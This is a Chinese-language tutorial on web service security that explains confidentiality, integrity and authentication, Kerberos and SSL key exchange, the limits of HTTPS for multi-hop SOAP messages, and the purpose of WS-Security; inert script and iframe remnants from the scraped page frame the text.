HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
web service安全
Web service
目前被
SOA
所广泛采用。从目前
Web Service
的应用来看，
Web Service
技术确实具有某些显著的优点，已成为当前分布式技术的重要代表。
Web Service
的一个显著特点就是
Loose Coupling
。服务的可发现性，平台无关性，接口的自描述性构成了
Web Service
的这一重要特点。而正是由于这个特点，
Web Service
被广泛的用于企业信息集成，其中既包括了企业内部的信息集成
(
不同部门的信息集成，遗留系统与新系统的信息集成
)
，也包括了企业与企业之间的信息集成。同样也是由于这个特点，使得通过服务与服务的组合而构成新的应用变得更加简单，也更加可行，这也是
SOA
中广泛使用
Web Service
的原因。
在考虑企业应用的时候，一个不得不关注的问题就是安全。而
Web Service
的诸多优点反而使得安全问题变得比以往任何时候都更具挑战性。由于
Web Service
被广泛的运用于企业间的交互，使得安全边界由
Intranet
扩大到了
Internet
，安全的风险也自然大大增加；
SOA
中服务组合的思想，使得
Web Service
应用更具动态性，服务的创建者往往无法预料到服务将在何种环境下
(
比如使用何种安全认证方式
)
被使用，在这种情况下要想实现服务的安全访问变的更加复杂；同时由于
Web Service
使用的是基于
XML
的，具有自描述能力的消息
(
在面向消息的方式中，消息甚至就是业务实体
)
进行通讯，那么如何保证消息的安全性也成为了
Web Service
安全中需要重视的问题。
在我们考虑安全问题的时候，有三个概念是最为基础的：
Confidentiality(
机密性
), Integrity(
完整性
), Authentication(
身份鉴别
)
。
Confidentiality:
机密性。
除了特定的接受者，别人无法查看消息的内容。使用
Key
（对称，非对称）来加密消息，从而保证消息的
confidentiality
。
Integrity:
完整性。
保证消息在传输的过程中没有被修改。即消息的接受者所持有的消息与消息的发送者完全一致。对消息做摘要
(Digest)
后，再使用
Key
（对称，非对称）来加密摘要，从而保证消息的
Integrity
。
Authentication:
身份鉴别。确定消息的发送者的身份与消息中所声称的用户身份一致。最简单的做法就是让用户同时发送用户名和密码，接受方确认密码的有效性从而判断该用户身份是否与用户名所代表的一致。然而在实际的应用中通常没有这么简单，往往使用
Key
对一段信息加密，接受方解密此信息，从而确认身份。比如在
Kerberos
协议
中，使用对称密钥加密用户身份信息，加密后的信息称为
(Authenticator)
，服务方通过解密此消息将身份与
Ticket
中的身份相比较以确认发送方身份。同样经过私钥
(
非对称密钥
)
加密的消息摘要
(
数字签名
)
也可以用于消息发送方的身份鉴别。
Note
从上面的描述我们可以看到对称，非对称密钥往往同时出现。比如在
Confidentiality
中，我们可以使用任何一个来加密消息。而在
Integrity
中，他们也都可以用于加密摘要。那么一个有趣的问题，我们怎么确定使用那个呢？
由于对称密钥的加密解密速度比非对称密钥快很多
(
大约有
1000
倍
)
，
所以在加密消息的时候一般都是使用的对称密钥。但是有一个问题就是对称密钥又如何发布呢？网络上两个没有联系的用户如何建立起一个共享的密钥？这时就需要
PKI
来帮助我们将这个共享的密钥建立起来---即利用非对称密钥中的公钥来加密那个共享密钥，传递到私钥的拥有方。由此我们得到结论---对称密钥加密普通信息，
非对称密钥加密对称密钥。
在
Integrity中
，使用非对称密钥的私钥加密摘要，得到的东西是一个广为人知的东西
—Digital Signature(
数字签名
).
而使用对称密钥加密摘要得到的是
HMAC(
Hash message authentication codes
)
。他们在保证消息完整性的同时，都具有身份鉴别的功能，不过前者还有一个功能
---
抗否认性，而这点在电子商务中往往是不可豁缺的，所以大家对前者更加熟悉。
最后提醒大家注意，在
Confidentiality
中，使用非对称密钥方法是用公钥加密，私钥解密，而在
Integrity
中使用非对称密钥的方法恰恰相反。
Web Service
已经被广泛的采用，那么现在
Web Service
的安全问题是如何处理?在没有运用
WS-Security
之前，
主要是通过
Https
提供的运输层的安全来确保的运行在此之上
Web Service
的安全的。
从之前对安全技术的介绍可以看出，要想实现
Web Service
的安全，最重要的就是让服务请求方和服务提供方能够共享一个秘密
(
对称密钥
).
有了对称密钥就可以用它加密，从而保证消息的机密性
(Confidentiality),
也可以利用它来加密摘要从而保证消息的
Integrity
，并用于身份鉴别，这点从
Kerberos
和
SSL
协议中都可以看出。在
Kerberos
协议中，我们通过引入一个第三方
(KDC)
来实现密钥的发布。初始时
Service Requestor(R)
和
KDC(K)
之间享有一个密钥，
KDC(K)
和
Service Provider(P)
之间享有一个密钥。而后
K
产生
R
和
P
之间的
session key,
分别通过它和
R
和
P
的密钥加密后传给它们，这样
R
和
P
各自解密后之间就安全的拥有了他们共同的密钥
(K
产生的
session key)
。而
SSL
则是利用
PKI
的公钥技术来实现密钥的传递，
R
先向
P
打声招呼，然后
P
把自己的证书
(Certificate:
包含用户名和该用户的公钥，并由
CA
签名
)
发送给
R
。
R
产生他们之间的密钥，然后用证书中
P
的公钥将密钥加密后传递给
P
，这样
R
和
P
之间就安全的拥有了一个密钥。
Https
对
Web Service
安全的保障就是通过这个密钥来实现了
(
最常被用于加密的就是我们的密码
)
。
看上去
SSL似乎
显得比较简单，不过这是基于
PKI
才得以实现的，而
PKI
却是一个很复杂的安全基础设施。而
Kerberos
由于初始时的前提条件，使得它的应用往往局限于某个组织内部的网络。
虽然目前
Web Service
广泛采用
Https
来保障安全，但是该方法也有很多的缺点，尤其是应用于现在越来越复杂的
Web Service
安全需求。
1.
Https
提供的是点对点安全保护，而
Web Service
的特点就是消息往往就要经过多个中介才能到达最终的服务提供方，每个中介还有可能对消息做出些处理，也就是说它需要的是端到端的保护。这显然是
Https
所不能提供的。
2.
Https
是在传输层提供的安全，而不是在消息层面，也就是只有在传输的过程中才有消息才是安全的
(
加密的
)
，而一旦到达了终点就是明文的了。比如可以从消息队列中将重要的信息窃取出来。
3.
在
Https
的建立完共享密钥后，传递消息的时候并没有使用数字签名技术，所以也就无法得到抗否认性的能力。而这又是在电子商务中不可豁缺的。
4.
由于
Https
提供的是传输层的安全，当然也就不可能达到消息安全所需要的灵活性的要求。比如加密消息中的部分元素；用不同的密钥加密消息的不同部分，从而让不同的消息接受者查看与之对应的信息。
因此，为了适应
Web Service
对安全的特殊要求，
IBM
和
MS等公司
共同制定了
WS-Security
规范。重新回顾安全问题的三个概念：
Confidentiality(
机密性
), Integrity(
完整性
), Authentication(
身份鉴别
)
，在
Web Service
使用
SOAP
（
XML
格式）作为消息传输协议的背景下，分别产生了
XML Digital Signature
，
XML Encryption
和
SAML(XML
格式的
Security Token),
而
WS-Security
则是如何将他们组合起来以满足
Web Service
安全需求的一套规范。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
